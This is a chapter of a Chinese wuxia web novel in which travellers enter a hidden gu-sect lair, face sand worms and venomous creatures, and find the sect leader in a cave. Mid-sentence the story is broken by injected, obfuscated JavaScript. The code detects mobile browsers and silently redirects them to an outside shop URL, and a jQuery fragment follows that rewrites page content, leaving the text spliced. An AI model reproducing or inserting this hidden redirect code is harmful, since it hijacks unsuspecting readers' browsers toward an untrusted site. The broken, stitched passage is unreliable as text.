眼下总算找到了蛊门中的右护法,去寻蛊门主便容易得多,除了出城时遇到官兵狮子大开口的阻拦,其余的也没什么了。
出了城之后又不幸碰上了沙尘暴,漫天黄沙像刀子般打在人的面颊上,闹的他们只能伸手举步维艰地走在荒漠之中,这时候披着斗篷的裴离木就显得要轻松地多,沙子灌到眼睛中他也像个没事人似的,掸两下也就过去了。
姜逢满吃了满嘴的沙子,呸呸两声,道:“这烂地方还能躲人?一只蜥蜴爬过去我都能看得一清二楚。”
裴离木摇头笑了一下,不答。
眼看着走了许久还不到地方,柳南枝说道:“请……”她刚张开口沙子就一哄而上,被迫蹲下身捂着嘴狂咳不止,走在旁边的沈郃见了,赶忙脱了外袍披在她的头上,站在面前挡住了吹过来的风沙。
缓了好半天可算是缓了过来,柳南枝站起身感激涕零地点点头,又朝前方喊了一声:“请问何时才能到?我觉得待会这风暴会更大,得把咱们都卷了去才罢休。”
裴离木拢紧了衣衫,道:“快了。”
话音未落,他们紧接着看到了乱石堆,大小不一的石块凌乱地摆在地上,一块儿沙中不起眼的石头浮现在众人眼中,裴离木带着他们走到跟前,他怔在原地观察了瞬四周,确认没有其他人跟踪后,抬起小臂将手覆在石上的凸起处,只听不知哪里的机关咯吱响动了一声。
巨石上居然赫然出现了个门。
姜逢满费力搓着眼睛,还以为出现了幻觉,“这门什么时候出现的,真是太神奇了!”
裴离辞率先走进去,在门口处做了个请的手势,待众人都进去了以后,他才从里面又把门合上,从外面看去,这还是一块平平无奇的石头。
或许是因为已经很久无人来过这里,壁上的烛灯有些早就亮不起来了,剩下的烛光倔强地散发微弱的光亮,让人勉强能看清前方的道路。
沙虫的腹贴在沙上发出簌簌的动静,它们闻到不熟悉的气味,当即就张开尖牙作出攻击的姿态。
裴离木的指节点了一下沙虫的脑袋,柔声道:“不可以乱咬人,听话一点。”
谁知,这裴离木一声令下,沙虫们立刻就像受了委屈的孩子般哼唧着蜷缩回了头,盘成一个小球滚回了小孔洞中。
他们的脚步声参差不齐地环绕在通道中,众人谁都没有出声,只听沈郃饶有兴趣地道:“我竟不知蛊门还有训虫的门道,看来你们当真如传言那般神秘。”
裴离木莞尔,转过身道:“门主说笑了,蛊门顾名思义以蛊为主,我们大多以蛊术为生,又如何精通训虫?只不过我还待在蛊门时,基本都是由我在打理这个地方,时间久了,它们与我亲近些而已,沙虫与普通的虫也不太一样,养的久大概能听懂些简单的指令,是不是听起来还挺可爱的。”
他从地上拾起一只浅黄色的小球放在掌心,道:“你们想看看么,真的很乖巧的。”
沈郃呵呵笑了两声,抱着手懒得搭理他。
姜逢满一见沙虫便如临大敌,赶紧退到五米开外,道:“不要!千万别给我。”
柳南枝却觉着有意思极了,将那只小沙虫接了过来,沙虫小心地探出了头,等了许久见她没有伤害自己的意图,便伸展开了身子趴在手上。
她对此若有所思,“你还待在蛊门时是什么意思,难道之后你就不在蛊门了吗?”
“你说这个啊,”裴离木是个老实人,别人问什么他就给说什么,只要不太过分都会回答,“我很久以前就不常在蛊门里待着了,虽说是右护法,但思来想去,也不过是蛊真人可怜我,给我挂了个虚名,真正在履行职责的是左护法裴离泪,我这次回来也只是听说蛊门遇到了大麻烦,谁成想是这么个事情,早知道是如此状况,当时我就该多留些时日。”
柳南枝叹了一口气,道:“你也不必自责,要怪就怪天机楼这群人,他们若不率先挑事,说不定今日天下还太平着呢。”
裴离辞不假思索地道:“……可是活死人的职责不就是保护主人么,身为活死人连这点都做不好,真的就罪该万死了。”
气氛又一下跌入谷底,众人都不知道该如何回应他的话,裴离木倒也不怎么在意,全然不知道自己把天聊死了,反正也不是要紧的事,他们仍旧往前走着,而越往前泥土的腥气也愈发强烈,原本由沙砾砌成的壁也盘上了些枯枝。
“林……”姜逢满跑到前面,指着面前的大洞说道:“林子?地下怎么还能有林子。”
林里的植被在暗处发出淡紫色的光芒,将这里衬得更加诡谲多变,他们纷纷跟着前方的裴离木跳了下去,稳稳落在一处平台上。
柳南枝把沙虫放在肩上,屏息听着周围的动静,“蛊门主藏身在这里真是个不错的选择,至少天机楼是万万想不到的。”
“他们就算知道也断然不会进来,”沈郃道:“这些蛊虫就够他们喝一壶了。”
他们缓缓走在林里,放轻动作尽量不打扰到正在沉睡的东西。
她从小就不喜欢闻刺鼻的味道,诡异的花香若有若无萦绕在边上,这股气味着实不好受,柳南枝又要捏着铜钱,时刻观察姜逢满的情况,害怕毒物冲出来伤了人。
此时此刻,柳南枝真希望自己会分身,这样就能护下每个人了。
树的枝干上缠绕着一条蛇,它幽绿色的躯干完美的伪装成了绿叶,趁着柳南枝没看见就要咬上来,沈郃握在掌心的长剑转瞬间出鞘,快得甚至没看到残影,一下就将蛇劈成了两半,蛇身的神经疯狂的扭曲,估计是想拉个垫背的,尖牙渗出了丝丝毒液,而那把剑又迎上去,蛇头从中间又分成了两半。
沈郃擦干净了剑上残留的毒,叮嘱道:“小心一点,林里的东西多。”
柳南枝点点头,撕下衣角的一块布捂在鼻子上试图阻挡这些花香,却是收效甚微。
这里的地上时不时还会有白花花的人骨,比如刚才,柳南枝就不小心踩到了哪个人的头。
“林里怎么死了这么多
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17782758|205516||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
人,”柳南枝一脚踢开了挡路的骨头,问道。
裴离木道:“这些大多都是蛊门弟子的,想练奇蛊就得来这里寻蛊虫与毒物,这可是我们的毕生所求,但是这些蛊虫脑仁比较小,不会认人,基本上见人就咬,稍微好一些能活着回去,大概率瘫痪或者痴傻了,不好的可能就命丧当场,成为它们的大餐。”
柳南枝默默给刚才踢过的白骨道了歉,而沈郃表示不在意,道:“你们没想过给他们收尸。”
裴离木冷哼一声,道:“如何收尸?这林里非必要我们都不回来,况且,蛊门的人并不是特别在意同伴的死活,能为蛊毒献身,于我们而言,算得上是美事一桩。”
听他这番别致的见解,柳南枝与沈郃不约而同地想起了那些传闻。
蛊门人大多被视作怪物,因为很多弟子都会炼活死人,更有甚者会下蛊操控人心。这样的邪术久而久之也就成为了异类,还有人说蛊门就是地府的邪灵,是阎王派他们来惩罚人间的。
江湖上的人都对蛊门的弟子避之不及,能不招惹就不招惹,否则连怎么死的估计都不知道。
从前,有个人姓公孙的人带着死去的妻子游历天下,这件事很快就传遍了大街小巷,他们的名字不知被谁得知,画像竟然出现在了悬赏榜上。
某日他带着妻子去寻了个客栈居住,在那家客栈店了几道菜与美酒,看那店家被债主催债可怜的很,心善地多塞了锭银子。
好人有好报,这个道理也不是适用于所有人的。
店家一下就认出来他们是谁,于是在那酒中下了能让人昏睡的药,用一柄小刀割下了两人的头颅,以换取了高昂的赏金。
再后来蛊门的人听说的这件,不到一年那店家就消失了,或许是被报复了吧。
诸如此类的事还有许多,大多数也早就不为人知了,这大概就是蛊门为何一直避世不出的原因。
柳南枝总不能说风凉话,身旁的沈郃话锋一转,道:“现在呢?你能不能感觉到蛊门主的踪迹。”
周围的毒物对他们虎视眈眈,肩上的小沙虫露出淡红色的尖牙嘶嘶两声,试图吓跑那些乱七八糟的东西,结果毒蛇也不是吃素的,恶狠狠地凶了一下,沙虫又被吓得缩成个球,委屈地藏到柳南枝的头发边。
裴离木定在原地,忽然注意到什么,走到一棵树边上用手指抹了一下,指腹处缓缓出现淡淡的紫色。
“这是蛊真人留下来的,”裴离木跟随着树木上的痕迹走了半柱香,最后站定在原地,道:“就在这附近,她现在状况很不好。”
几人在这里寻找了片刻,柳南枝道:“若是你们身处一个充满危险的林里,会躲在哪里?”
沈郃和姜逢满异口同声地答:“石洞。”
她颔首表示同意,自然地拿过沈郃手里的剑,走到一个不显眼的灌木丛边,三两下斩去了挡路的草。
一个不大不小的石洞出现。
里面坐着一个女子。
“蛊真人!”